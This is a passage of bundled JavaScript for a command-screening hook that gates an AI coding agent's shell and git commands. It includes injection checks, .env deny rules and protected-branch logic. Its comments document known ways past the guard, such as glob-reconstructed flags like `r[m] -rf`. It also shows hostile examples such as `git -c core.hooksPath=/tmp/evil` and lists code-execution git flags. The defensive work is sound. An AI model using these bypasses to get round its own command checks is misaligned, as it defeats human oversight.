`--force` already exists in the working directory*. Creating that file\n* is itself hook-gated (`> --force` is caught as a redirect; `touch -- --force` falls to\n* passthrough), so it is a two-step, precondition-gated exploit -- strictly weaker than the\n* unconditional `$`/brace bypasses that were fixed. The same class defeats deny rules\n* (`r[m] -rf`), again only with a pre-existing matching file.\n*\n* *Why not fixed:* closing it means routing any token containing an unquoted glob\n* metacharacter (`*`, `?`, `[`) to passthrough -- which prompts on `ls *.md`, `find . -name\n* '*.ts'`, and nearly every globbing command an agent legitimately runs. Unlike `$` and\n* brace expansion (rare in real commands), globs are everywhere, so the prompt-fatigue\n* cost is real and daily, and a guard people learn to click through protects nobody.\n* Revisit only if a cheaper predicate emerges -- the candidate is to flag a glob metachar\n* **only in a token that also begins with `-`** (a flag position, which is where the\n* reconstruction attack lives), leaving bare-argument globs like `*.md` allowed. That\n* would live right here, beside {@link hasBraceExpansion}.\n*\n* **Tilde expansion.** `~` is unmodeled. Bash only expands it to a home *path* at word\n* start, so it cannot reconstruct a flag or a command name -- it is a path-scope concern,\n* not the flag/command-reconstruction vector this guard defends against. Lowest priority;\n* noted for completeness.\n*\n* If either is ever closed, pin it with regression fixtures the way the nested-brace cases\n* were pinned in `tests/fixtures.ts`.\n*\n* @param skipRedirects When true, skip redirect analysis (used for trusted resolved scripts)\n*/\nfunction checkInjection(tokens, rawSegment, skipRedirects = false) {\n	if (/[\\n\\r]/.test(rawSegment)) return {\n		safe: false,\n		reason: \"unquoted newline in command\"\n	};\n	for (const token of tokens) {\n		if (token === \"`\") return {\n			safe: false,\n			reason: \"backtick command substitution\"\n		};\n		if (token.includes(\"`\")) return {\n			safe: false,\n			reason: \"backtick command substitution\"\n		};\n		if (token.includes(\"$\")) return {\n			safe: false,\n			reason: \"unresolved dollar-expansion\"\n		};\n		if (hasBraceExpansion(token)) return {\n			safe: false,\n			reason: \"brace expansion\"\n		};\n		if (token.includes(\"<(\")) return {\n			safe: false,\n			reason: \"process substitution\"\n		};\n		if (token.includes(\">(\") && !SAFE_REDIRECTS.has(token)) return {\n			safe: false,\n			reason: \"process substitution\"\n		};\n	}\n	if (!skipRedirects) for (let i = 0; i < tokens.length; i++) {\n		const token = tokens[i];\n		if (SAFE_REDIRECTS.has(token)) continue;\n		if (token.includes(\"<\") && !token.includes(\"<(\")) return {\n			safe: false,\n			reason: \"input redirect\"\n		};\n		if (token.includes(\">\")) {\n			if (isSafeOutputRedirect(token, tokens[i + 1])) continue;\n			return {\n				safe: false,\n				reason: \"output redirect to file\"\n			};\n		}\n	}\n	return { safe: true };\n}\n\n//#endregion\n//#region src/lib/env-file.ts\n/**\n* File extensions considered safe documentation templates.\n* Files ending with these suffixes are NOT treated as secret .env files.\n*/\nconst ENV_SAFE_SUFFIXES = [\n	\".sample\",\n	\".example\",\n	\".template\"\n];\n/**\n* Env files owned by a bst command rather than by the developer's secrets.\n*\n* `docker-compose.check.env` is the file `bst docker:check` auto-detects and\n* passes to compose as `--env-file`. It is committed, and it holds placeholder\n* values for a throwaway check stack -- yet it is also the *only* way to feed\n* compose interpolation, so denying it left an agent unable to create or read\n* the one file the check needs. Two bst features blocking each other is worse\n* than the marginal secret risk of a file whose purpose is to hold non-secrets.\n*/\nconst ENV_TOOL_OWNED_SUFFIXES = [\".check.env\"];\n/**\n* Pattern matching .env files: `.env`, `.env.local`, `.env.production`, etc.\n* Does NOT match `.env.sample`, `.env.example`, `.env.template`.\n*/\nconst ENV_FILE_PATTERN = /(^|[/\\\\])(\\.env(\\..*)?|.*\\.env(\\..*)?|\\.env)$/;\n/** Check if a filename is a safe .env documentation template, or a bst-owned env file. */\nfunction isEnvSafeSuffix(filename) {\n	return [...ENV_SAFE_SUFFIXES, ...ENV_TOOL_OWNED_SUFFIXES].some((suffix) => filename.endsWith(suffix));\n}\n/**\n* Check if a path targets a .env file (excluding safe templates).\n* Works with both bare filenames and full paths.\n*/\nfunction isEnvFile(filePath) {\n	if (isEnvSafeSuffix(path.basename(filePath))) return false;\n	return ENV_FILE_PATTERN.test(filePath);\n}\n/**\n* Check if any non-flag token in a Bash command targets a .env file.\n* Used by Bash deny rules for cat, head, tail, grep, etc.\n*/\nfunction tokensTargetEnvFile(tokens) {\n	return tokens.slice(1).some((t) => !t.startsWith(\"-\") && isEnvFile(t));\n}\n\n//#endregion\n//#region src/lib/git-state.ts\n/**\n* Return the current branch name, or null when:\n*   - cwd is not a git repository,\n*   - HEAD is detached,\n*   - any git invocation fails.\n*\n* Null is the safe protected default -- callers treat it as \"protected\".\n*/\nfunction getCurrentBranch(cwd) {\n	try {\n		const out = execFileSync(\"git\", [\n			\"rev-parse\",\n			\"--abbrev-ref\",\n			\"HEAD\"\n		], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		if (!out || out === \"HEAD\") return null;\n		return out;\n	} catch {\n		return null;\n	}\n}\n/**\n* Return the remote default branch (from refs/remotes/origin/HEAD), stripped\n* of the \"origin/\" prefix. Returns null when the symbolic ref isn't set\n* (common for fresh clones with no remote).\n*/\nfunction getRemoteDefaultBranch(cwd) {\n	try {\n		const out = execFileSync(\"git\", [\n			\"symbolic-ref\",\n			\"--short\",\n			\"refs/remotes/origin/HEAD\"\n		], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		if (!out) return null;\n		return out.startsWith(\"origin/\") ? out.slice(7) : out;\n	} catch {\n		return null;\n	}\n}\nconst ALWAYS_PROTECTED = [\"main\", \"master\"];\n/**\n* Compute the full protected set: hard-coded {main, master}, plus the remote\n* default branch when available, plus any caller-supplied extras (e.g. from\n* .claude/hooks/bst-hook.settings.json#protectedBranches).\n*\n* Known limitation: if a repo's real default branch is neither \"main\" nor\n* \"master\" AND refs/remotes/origin/HEAD is unset (getRemoteDefaultBranch()\n* returns null -- e.g. a shallow or partial clone that never fetched the\n* symbolic ref), that default branch is absent from this set. A push whose\n* refspec destination is that branch would then pass the protected-branch\n* check in isGitSafePush. This is not treated as a reason to block pushes\n* whenever origin/HEAD is unset, since that would break the far more common\n* case (default branch already covered by {main, master} or by\n* protectedBranches); repos with a non-standard default branch name should\n* set it explicitly via .claude/hooks/bst-hook.settings.json#protectedBranches.\n*/\nfunction getProtectedBranches(cwd, extra) {\n	const set = new Set(ALWAYS_PROTECTED);\n	const remote = getRemoteDefaultBranch(cwd);\n	if (remote) set.add(remote);\n	for (const b of extra) set.add(b);\n	return set;\n}\n/**\n* Configured remote names (`git remote`). Empty when cwd is not a repo or git\n* fails -- the safe default, since callers require membership to auto-approve.\n*/\nfunction getRemotes(cwd) {\n	try {\n		const out = execFileSync(\"git\", [\"remote\"], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		if (!out) return /* @__PURE__ */ new Set();\n		return new Set(out.split(\"\\n\").map((line) => line.trim()).filter(Boolean));\n	} catch {\n		return /* @__PURE__ */ new Set();\n	}\n}\n/**\n* True when `cwd` is the repository's *primary* worktree (not a linked one\n* created by `git worktree add`). In the primary worktree the git dir and the\n* common git dir are the same directory; in a linked worktree the git dir is\n* `.../.git/worktrees/<name>` while the common dir is the shared `.../.git`.\n*\n* Fail-safe: any git/filesystem error returns `false` (treated as \"not primary\",\n* i.e. no advisory) so a hiccup never disturbs the decision. Mirrors the\n* \"safe default\" convention of getCurrentBranch.\n*/\nfunction isPrimaryWorktree(cwd) {\n	try {\n		const gitDir = execFileSync(\"git\", [\"rev-parse\", \"--absolute-git-dir\"], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		const commonRaw = execFileSync(\"git\", [\"rev-parse\", \"--git-common-dir\"], {\n			cwd,\n			stdio: [\n				\"ignore\",\n				\"pipe\",\n				\"ignore\"\n			]\n		}).toString().trim();\n		if (!gitDir || !commonRaw) return false;\n		const commonDir = resolve(cwd, commonRaw);\n		return realpathSync(gitDir) === realpathSync(commonDir);\n	} catch {\n		return false;\n	}\n}\n\n//#endregion\n//#region src/lib/git-short-options.ts\n/** Per-subcommand required-value short option letters. Deliberately excludes\n* `-t` (`--track`): see the note below the value-taking sets.\n*/\nconst VALUE_TAKING_LETTERS = {\n	switch: /* @__PURE__ */ new Set([\"c\", \"C\"]),\n	checkout: /* @__PURE__ */ new Set([\"b\", \"B\"]),\n	branch: /* @__PURE__ */ new Set([\"u\"])\n};\n/**\n* Decompose a short-option cluster token for `sub`. Returns `undefined` for\n* anything that is not a short-option cluster: a token that does not start\n* with `-`, the bare `-`, and anything starting with `--`. Every caller keeps\n* handling those tokens exactly as it does today.\n*\n* Otherwise walks the characters after the leading `-` left to right,\n* collecting each into `letters`, and stops at the first character that is a\n* required-value option letter for `sub` -- that letter is the last one\n* collected, and the remainder of the token (possibly empty) becomes\n* `attachedValue`, never inspected as flags again.\n*\n* Worked cases:\n* - `-fc` (switch or checkout) -> letters `[\"f\", \"c\"]`, no attached value --\n*   `f` never stops the scan, so `c`/`C` is just collected as another letter\n*   unless the subcommand's own value-taking set includes it earlier.\n* - `-cf` (switch) -> letters `[\"c\"]`, attached value `\"f\"`.\n* - `-cfeat/x` (switch) -> letters `[\"c\"]`, attached value `\"feat/x\"`.\n* - `-c` (switch) -> letters `[\"c\"]`, attached value `\"\"` (git reads the\n*   branch name from the next argv element).\n*/\nfunction splitShortOptionCluster(token, sub) {\n	if (!token.startsWith(\"-\") || token.startsWith(\"--\") || token.length <= 1) return;\n	const valueLetters = VALUE_TAKING_LETTERS[sub];\n	const letters = [];\n	const chars = token.slice(1);\n	for (let i = 0; i < chars.length; i++) {\n		const ch = chars[i];\n		letters.push(ch);\n		if (valueLetters.has(ch)) return {\n			letters,\n			attachedValue: chars.slice(i + 1)\n		};\n	}\n	return { letters };\n}\n\n//#endregion\n//#region src/lib/path-scope.ts\n/**\n* Path-containment helpers that are correct across operating systems.\n*\n* The hook receives a `cwd` from its host. On Windows the same location can be\n* spelled with either drive-letter case (`D:\\proj` vs `d:\\proj`) -- the IDE is\n* inconsistent -- and NTFS treats them as identical. Plain `===` / `startsWith`\n* comparisons on the resolved path therefore misfire whenever the drive-letter\n* case differs, falling through to passthrough (reads) or a false\n* \"outside the project\" deny (writes).\n*\n* The fix: pick the path flavor (win32 vs posix) from the *trusted* base path --\n* `cwd` -- and run every resolve/compare through that flavor. win32's\n* `relative()` is case-insensitive and separator-aware, so drive-letter case no\n* longer matters; posix stays case-sensitive, as that filesystem demands.\n* Deriving the flavor from the base (not the incoming target) means a crafted\n* target can't flip the comparison mode.\n*/\n/** Select the path flavor implied by a base path (a leading drive letter => win32). */\nfunction pathFlavorFor(base) {\n	return /^[a-zA-Z]:[\\\\/]/.test(base) ? path.win32 : path.posix;\n}\n/** Resolve `target` against `base` using the flavor implied by `base`. */\nfunction resolveIn(base, target) {\n	return pathFlavorFor(base).resolve(base, target);\n}\n/**\n* Whether `target` is `dir` itself or nested beneath it, compared with `dir`'s\n* flavor. `target` is expected to be already resolved (absolute); pass it through\n* `resolveIn` first when it may be relative or contain `..`.\n*/\nfunction isWithin(dir, target) {\n	const pp = pathFlavorFor(dir);\n	const rel = pp.relative(dir, target);\n	if (rel === \"\") return true;\n	if (rel === \"..\" || rel.startsWith(\"..\" + pp.sep)) return false;\n	return !pp.isAbsolute(rel);\n}\n/** Whether two paths refer to the same location, compared with `a`'s flavor. */\nfunction samePath(a, b) {\n	return pathFlavorFor(a).relative(a, b) === \"\";\n}\n/**\n* Whether `filePath` (resolved against `cwd`) is a `.git` directory\n* anywhere under `cwd` -- top-level or nested inside a subdirectory repo --\n* or anything beneath one. Covers both the directory in a normal clone and\n* the gitdir-pointer *file* git writes at the root of a worktree checkout\n* (both cases have a path segment exactly equal to `.git`).\n*\n* A nested repo's git dir (`<cwd>/sub/.git/config`) is just as sensitive as\n* the top-level one: an unguarded write there can add a malicious remote or\n* rewrite push config that a later `cd sub && git push` trusts. So this\n* checks every path segment of `filePath` resolved against `cwd`, not just\n* `<cwd>/.git` -- matching `.git` at *any* depth, as long as the resolved\n* path stays within `cwd` (paths outside `cwd` are handled by the\n* outside-cwd-write rule instead).\n*\n* Matches on a resolved path *segment* exactly equal to `.git`, not a\n* substring, so it does not mistake `.gitignore`, `.gitkeep`, `.github/`,\n* `src/foo.git.ts`, or a directory merely named `mygit`/`git` for a `.git/`\n* target.\n*/\nfunction targetsGitDir(filePath, cwd) {\n	const pp = pathFlavorFor(cwd);\n	const resolved = resolveIn(cwd, filePath);\n	if (!isWithin(cwd, resolved)) return false;\n	const rel = pp.relative(cwd, resolved);\n	if (rel === \"\") return false;\n	return rel.split(pp.sep).includes(\".git\");\n}\n/**\n* Whether `filePath` (resolved against `cwd`) has a path segment exactly equal\n* to `node_modules` -- i.e. it names a location inside *any* installed package\n* tree, at any depth, including pnpm's virtual store\n* (`node_modules/.pnpm/<pkg>/node_modules/<pkg>/...`).\n*\n* **Deliberately not scoped to `cwd`**, unlike `targetsGitDir`. pnpm populates\n* `node_modules` with *hardlinks into the global content-addressable store*, so\n* a single in-place overwrite of an installed file (a plain `cp`, a `>`\n* redirect -- anything that opens the destination `O_WRONLY|O_TRUNC` rather than\n* unlinking it first) writes *through* the link and mutates the store's own\n* content-addressed file. That corrupts the package for the global store, every\n* other project on the machine that shares the inode, and every future install\n* or `pnpm dlx` that hardlinks it -- with no error at the scene, because the\n* directory that did the writing ends up perfectly consistent.\n*\n* This is exactly how a local `@bensandee/tooling` build landed on top of the\n* published 0.64.2 in the store on 2026-07-13: `cp -r <local>/dist/*` over a\n* scratch consumer's `node_modules/@bensandee/tooling/dist/`. The destination\n* was outside `cwd` -- so a cwd-scoped check would not have seen it -- and the\n* store stayed broken until a consumer's `pnpm dlx` failed days later with\n* `ERR_MODULE_NOT_FOUND` for a chunk that no published tarball has ever\n* contained.\n*\n* The lesson encoded here: **cwd-containment is not a safety boundary for\n* `node_modules`.** A path inside it is not \"in the project\" in any meaningful\n* sense -- it is a shared, machine-global resource wearing a local path. Hence\n* every segment of the *resolved* path is checked, wherever it lands.\n*\n* Matches on a path *segment*, not a substring, so `src/node_modules_helper.ts`\n* and `docs/node_modules.md` are not mistaken for the real thing.\n*/\nfunction targetsNodeModules(filePath, cwd) {\n	return resolveIn(cwd, filePath).split(/[/\\\\]/).includes(\"node_modules\");\n}\n\n//#endregion\n//#region src/rules.ts\nconst GIT_READ_OPS = /* @__PURE__ */ new Set([\n	\"status\",\n	\"log\",\n	\"diff\",\n	\"show\",\n	\"blame\",\n	\"grep\",\n	\"shortlog\",\n	\"range-diff\",\n	\"describe\",\n	\"remote\",\n	\"fetch\",\n	\"ls-files\",\n	\"ls-tree\",\n	\"ls-remote\",\n	\"show-ref\",\n	\"for-each-ref\",\n	\"rev-parse\",\n	\"rev-list\",\n	\"cat-file\",\n	\"diff-tree\",\n	\"name-rev\",\n	\"merge-base\",\n	\"check-ignore\"\n]);\n/** Git subcommands that modify the working tree, index, or history. */\nconst GIT_WRITE_OPS = /* @__PURE__ */ new Set([\n	\"push\",\n	\"add\",\n	\"commit\",\n	\"reset\",\n	\"merge\",\n	\"rebase\",\n	\"cherry-pick\",\n	\"checkout\",\n	\"switch\",\n	\"stash\",\n	\"tag\",\n	\"revert\",\n	\"clean\",\n	\"rm\",\n	\"mv\"\n]);\n/** Flags on git that enable arbitrary code execution */\nconst GIT_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n	\"-c\",\n	\"--exec-path\",\n	\"--pager\",\n	\"--upload-pack\",\n	\"--receive-pack\"\n]);\n/** Git global flags that consume the next token as an argument. */\nconst GIT_FLAGS_WITH_ARG = /* @__PURE__ */ new Set([\n	\"-C\",\n	\"-c\",\n	\"--git-dir\",\n	\"--work-tree\"\n]);\n/** Extract the git subcommand (first non-flag token after \"git\"), skipping flag arguments. */\nfunction getGitSubcommand(tokens) {\n	const args = tokens.slice(1);\n	for (let i = 0; i < args.length; i++) {\n		const t = args[i];\n		if (GIT_FLAGS_WITH_ARG.has(t)) {\n			i++;\n			continue;\n		}\n		if (t.startsWith(\"-\")) continue;\n		return t;\n	}\n}\nfunction isGitReadOp(tokens) {\n	for (const t of tokens.slice(1)) {\n		if (GIT_DANGEROUS_FLAGS.has(t) || t === \"-o\" || t.startsWith(\"--output\")) return false;\n		if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\") || t.startsWith(\"--output=\")) return false;\n	}\n	const sub = getGitSubcommand(tokens);\n	if (!sub) return false;\n	if (sub === \"stash\") {\n		const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n		return stashAction === \"list\" || stashAction === void 0;\n	}\n	if (sub === \"remote\") {\n		let actionIdx = tokens.indexOf(\"remote\") + 1;\n		while (tokens[actionIdx] === \"-v\" || tokens[actionIdx] === \"--verbose\") actionIdx++;\n		const remoteAction = tokens[actionIdx];\n		return remoteAction === void 0 || remoteAction === \"-v\" || remoteAction === \"--verbose\" || remoteAction === \"show\" || remoteAction === \"get-url\";\n	}\n	return GIT_READ_OPS.has(sub);\n}\nfunction isGitWriteOp(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (!sub) return false;\n	if (sub === \"stash\") {\n		const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n		if (stashAction === \"list\" || stashAction === void 0) return false;\n	}\n	return GIT_WRITE_OPS.has(sub);\n}\n/** Safe stash actions that don't risk data loss. */\nconst STASH_SAFE_ACTIONS = /* @__PURE__ */ new Set([\n	\"push\",\n	\"pop\",\n	\"apply\",\n	\"show\"\n]);\n/**\n* Positional (non-flag) path arguments of a `git mv` command. The caller only\n* invokes this once the subcommand is known to be `mv`, so `mv` is present.\n* `git mv` flags (-f/--force, -k, -n/--dry-run, -v/--verbose) never consume a\n* separate argument, so every non-flag token after `mv` is a path.\n*/\nfunction gitMvPaths(tokens) {\n	const mvIdx = tokens.indexOf(\"mv\");\n	return tokens.slice(mvIdx + 1).filter((t) => !t.startsWith(\"-\"));\n}\n/**\n* True when a short-option letter appears in any cluster after `sub`, or one of\n* `longFlags` appears verbatim. Neither `git rm` nor `git clean` has a short\n* flag taking an attached value, so a plain character scan is exact for them;\n* `git clean -e<pattern>` does, and a pattern containing the letter only ever\n* produces a false positive, which leaves the caller on the deny side.\n*/\nfunction hasShortLetterOrLongFlag(tokens, sub, letter, longFlags) {\n	for (const t of tokens.slice(tokens.indexOf(sub) + 1)) {\n		if (!t.startsWith(\"-\")) continue;\n		if (t.startsWith(\"--\")) {\n			if (longFlags.includes(t)) return true;\n			continue;\n		}\n		if (t.slice(1).includes(letter)) return true;\n	}\n	return false;\n}\n/**\n* `git mv` and `git rm` are not auto-approvable, but they are not known-unsafe\n* either: the shell spellings they mirror already reach a prompt, and `git rm`\n* additionally refuses a file carrying uncommitted changes unless forced -- so\n* denying it while prompting for `rm` inverts the tiers.\n*\n* `git rm -r` stays denied to mirror the `rm-recursive` rule, which cannot\n* cover it: that rule matches on tokens[0] (`/^rm$/`) and never sees `git`.\n*/\nfunction isGitWorktreeMoveOrRemove(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"mv\" && sub !== \"rm\") return false;\n	if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n	if (sub === \"rm\" && hasShortLetterOrLongFlag(tokens, sub, \"r\", [\"--recursive\"])) return false;\n	return true;\n}\nconst WORKTREE_ADVICE = \"You're creating a feature branch in the primary worktree. An isolated worktree keeps this work independent of other windows, and with no commits on this branch yet, converting is cheap -- `git worktree add ../<dir> -b <branch>` (a sibling outside the repo, with its own dependency install). But it is the home of a **separate session opened there**: writes to a path outside this session's project directory are denied, so this session cannot edit it. If you cannot open a session there, stay in the primary checkout on this branch and check `git branch --show-current` before each commit.\";\n/**\n* True when the command creates a branch: `git checkout -b/-B` or\n* `git switch -c/-C`, including those letters carried in a short-option\n* cluster with other letters or an attached value (`-bfix-bug`, `-qc\n* feat/x`). A plain `git switch <branch>` is not creation. Long spellings\n* (`--create`, `--force-create`) are deliberately not recognized as creation\n* here -- only the short grammar is in scope.\n*/\nfunction isGitBranchCreation(tokens) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"checkout\" && sub !== \"switch\") return false;\n	const after = tokens.slice(tokens.indexOf(sub) + 1);\n	const creationLetters = sub === \"checkout\" ? [\"b\", \"B\"] : [\"c\", \"C\"];\n	return after.some((t) => {\n		const cluster = splitShortOptionCluster(t, sub);\n		return cluster !== void 0 && cluster.letters.some((l) => creationLetters.includes(l));\n	});\n}\n/** Per-kind creation letter: `C`/`c` on switch, `B`/`b` on checkout and `worktree add`. */\nconst GIT_CREATE_LETTERS = {\n	force: {\n		switch: \"C\",\n		checkout: \"B\"\n	},\n	create: {\n		switch: \"c\",\n		checkout: \"b\"\n	}\n};\n/**\n* The long creation spelling per kind, switch only, with the shortest token the\n* resolver accepts. Force matches every unambiguous prefix down to `--force-`\n* (the shortest that is not the distinct `--force` option) because a prefix the\n* force resolver missed would soften its deny to a prompt; non-force matches\n* `--create` exactly, since an unrecognized abbreviation already reaches\n* passthrough through isGitUnrecognizedBranchFlag -- the same tier this kind\n* routes to -- so prefix handling would change no outcome.\n*/\nconst GIT_CREATE_LONG_FLAGS = {\n	force: {\n		flag: \"--force-create\",\n		shortest: \"--force-\"\n	},\n	create: {\n		flag: \"--create\",\n		shortest: \"--create\"\n	}\n};\n/**\n* Every branch name a creation spelling of `kind` in `after` (the tokens\n* following the subcommand -- and past `add`, for `worktree add`) targets.\n* Usually zero or one, but git's last-occurrence-wins on a repeated creation\n* flag is not modeled: every occurrence contributes its target, so a repeated\n* flag (`git switch -c main -c feat/x`) is handled conservatively rather than\n* resolving which one wins.\n*\n* Grammar, reusing `splitShortOptionCluster`: a cluster whose letters include\n* the kind's letter contributes its attached value when non-empty, else the\n* next argv token; the kind's long spelling contributes the next argv token, or\n* the name attached to it with `=`. A creation flag with nothing after it (a\n* valueless trailing `-C`, or `--force-create` as the last token) resolves no\n* target for that occurrence -- git errors on the command anyway, so today's\n* routing is preserved.\n*/\nfunction gitCreateTargets(after, letterSub, kind) {\n	const letter = GIT_CREATE_LETTERS[kind][letterSub];\n	const longFlag = GIT_CREATE_LONG_FLAGS[kind];\n	const targets = [];\n	for (let i = 0; i < after.length; i++) {\n		const t = after[i];\n		if (t === void 0) continue;\n		if (letterSub === \"switch\") {\n			const [flag, ...rest] = t.split(\"=\");\n			if (flag !== void 0 && flag.length >= longFlag.shortest.length && longFlag.flag.startsWith(flag)) {\n				const target = rest.length > 0 ? rest.join(\"=\") : after[i + 1];\n				if (target !== void 0) targets.push(target);\n				continue;\n			}\n		}\n		const cluster = splitShortOptionCluster(t, letterSub);\n		if (cluster === void 0 || !cluster.letters.includes(letter)) continue;\n		if (cluster.attachedValue !== void 0 && cluster.attachedValue !== \"\") {\n			targets.push(cluster.attachedValue);\n			continue;\n		}\n		const next = after[i + 1];\n		if (next !== void 0) targets.push(next);\n	}\n	return targets;\n}\n/**\n* Every branch name a creation spelling of `kind` targets in a full `git ...`\n* command: `switch -C`/`--force-create` or `switch -c`/`--create`,\n* `checkout -B`/`-b`, or `worktree add -B`/`-b`. Any other subcommand --\n* including `worktree list`/`remove`/`move` -- always resolves no target.\n* `worktree add` reuses checkout's `-b`/`-B` grammar (identical required-value\n* letter), so no new letter set is needed.\n*/\nfunction gitCommandCreateTargets(tokens, kind) {\n	const sub = getGitSubcommand(tokens);\n	if (sub === \"switch\" || sub === \"checkout\") return gitCreateTargets(tokens.slice(tokens.indexOf(sub) + 1), sub, kind);\n	if (sub === \"worktree\") {\n		const worktreeIdx = tokens.indexOf(\"worktree\");\n		if (tokens[worktreeIdx + 1] !== \"add\") return [];\n		return gitCreateTargets(tokens.slice(worktreeIdx + 2), \"checkout\", kind);\n	}\n	return [];\n}\n/**\n* True when a `switch`/`checkout`/`worktree add` command force-creates a\n* branch under a name in the protected set. Force-create resets an existing\n* branch to the start point (HEAD by default) rather than merely creating\n* it, so this is a claim about the TOKENS, not the current branch -- unlike\n* isGitProtectedBranchWrite (below), this never calls getCurrentBranch and is\n* valid even outside a repository, where main/master are protected\n* unconditionally. Its non-force twin, isGitProtectedBranchCreate, resolves the\n* same positions one letter over and routes to a prompt instead of a deny.\n*/\nfunction isGitProtectedBranchForceCreate(tokens, ctx) {\n	const targets = gitCommandCreateTargets(tokens, \"force\");\n	if (targets.length === 0) return false;\n	const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n	return targets.some((t) => protectedSet.has(t));\n}\n/**\n* True when `git branch` destroys or overwrites a protected ref: a delete\n* (`-d`/`-D`/`--delete`) naming one, a non-force rename (`-m`/`-M`/`--move`)\n* moving one away by name, or any force spelling (`-f`/`--force`, or the\n* force letters `-M`/`-C`) writing onto one. A claim about the TOKENS, never\n* calling getCurrentBranch and valid outside a repository -- like its\n* siblings above -- but unlike `isGitProtectedBranchCreate` it carries **no**\n* pre-subcommand dangerous-flag guard: that guard exists only where a\n* predicate softens a deny into a prompt, and this one feeds a deny and\n* excludes nothing, so `git -c core.hooksPath=/tmp/evil branch -D main`\n* still denies here.\n*\n* The three checks are independent, not mutually exclusive branches of one\n* mode -- `git branch -M junk main` is a force rename whose *source* (`junk`)\n* is not protected, so the rename check alone would miss it; the force check\n* catches it via the *destination* (`main`).\n*\n* The accepted residual: `git branch -m junk` while sitting on a protected\n* branch renames it away with no victim name in the tokens at all, so this\n* returns false and the command only prompts.\n*/\nfunction isGitProtectedBranchRefWrite(tokens, ctx) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"branch\") return false;\n	const { flags, positionals } = splitGitBranchArgs(tokens.slice(tokens.indexOf(sub) + 1));\n	if (positionals.length === 0) return false;\n	let deleteMode = false;\n	let renameMode = false;\n	let copyMode = false;\n	let forceMode = false;\n	for (const flag of flags) {\n		if (flag.letters !== void 0) {\n			if (flag.letters.includes(\"d\") || flag.letters.includes(\"D\")) deleteMode = true;\n			if (flag.letters.includes(\"m\") || flag.letters.includes(\"M\")) renameMode = true;\n			if (flag.letters.includes(\"c\") || flag.letters.includes(\"C\")) copyMode = true;\n			if (flag.letters.includes(\"f\") || flag.letters.includes(\"M\") || flag.letters.includes(\"C\")) forceMode = true;\n			continue;\n		}\n		if (flag.name === \"delete\") deleteMode = true;\n		if (flag.name === \"move\") renameMode = true;\n		if (flag.name === \"copy\") copyMode = true;\n		if (flag.name === \"force\") forceMode = true;\n	}\n	const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n	if (deleteMode && positionals.some((p) => protectedSet.has(p))) return true;\n	if (renameMode && positionals.length >= 2 && protectedSet.has(positionals[0])) return true;\n	if (forceMode) {\n		const destination = renameMode || copyMode ? positionals[positionals.length - 1] : positionals[0];\n		if (destination !== void 0 && protectedSet.has(destination)) return true;\n	}\n	return false;\n}\n/**\n* True when a `switch`/`checkout`/`worktree add` command creates a branch under\n* a protected name without the force letter. Nothing is reset -- when the ref\n* already exists git refuses -- but when it does not exist the command\n* succeeds, leaving a local `main` pointing at a feature HEAD and the session\n* parked on a protected branch. Creation is not destructive, so this is not a\n* deny; an agent never legitimately needs to create a protected name, so it is\n* not an allow either: it routes to the passthrough prompt. A claim about the\n* TOKENS exactly like isGitProtectedBranchForceCreate, so it needs no current\n* branch and is valid outside a repository.\n*\n* This one carries a guard the force twin does not: the force twin feeds a deny\n* rule, while this feeds a `git-write` exclusion, and a config/exec-injection or\n* repo-redirect flag is caught by no earlier deny rule. Without the same guard\n* isGitUnrecognizedBranchFlag uses, `git -c core.hooksPath=/tmp/evil switch -c\n* main` would soften from that deny to a prompt.\n*/\nfunction isGitProtectedBranchCreate(tokens, ctx) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"switch\" && sub !== \"checkout\" && sub !== \"worktree\") return false;\n	if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n	const targets = gitCommandCreateTargets(tokens, \"create\");\n	if (targets.length === 0) return false;\n	const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n	return targets.some((t) => protectedSet.has(t));\n}\n/**\n* True when `worktree add <path>` -- with no `-b`/`-B`/`--detach` and no\n* commit-ish positional -- would implicitly create a branch under a\n* protected name: git's own rule is \"as if `-b $(basename <path>)` was\n* specified\" whenever no such branch already exists. Nothing is reset -- when\n* the ref already exists the command merely checks it out, the auto-approved\n* analogue of `git switch <branch>` -- but when it does not exist the command\n* succeeds, leaving a local `main` at a feature HEAD and the new worktree\n* checked out onto it. Creation is not destructive, so this is not a deny;\n* an agent never legitimately needs to create a protected name, so it is not\n* an allow either: it routes to the passthrough prompt, exactly like\n* isGitProtectedBranchCreate's explicit `-b`/`-B` case. A claim about the\n* TOKENS, so it carries the same pre-subcommand dangerous-flag guard that\n* function does, needs no current branch, and is valid outside a repository.\n*/\nfunction isGitWorktreeImplicitProtectedCreate(tokens, ctx) {\n	const sub = getGitSubcommand(tokens);\n	if (sub !== \"worktree\") return false;\n	if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n	const worktreeIdx = tokens.indexOf(\"worktree\");\n	if (tokens[worktreeIdx + 1] !== \"add\") return false;\n	if (gitCommandCreateTargets(tokens, \"create\").length > 0) return false;\n	if (gitCommandCreateTargets(tokens, \"force\").length > 0) return false;\n	const after = tokens.slice(worktreeIdx + 2);\n	if (after.includes(\"--detach\")) return false;\n	const positionals = [];\n	for (let i = 0; i < after.length; i++) {\n		const token = after[i];\n		if (token === \"--reason\") {\n			i++;\n			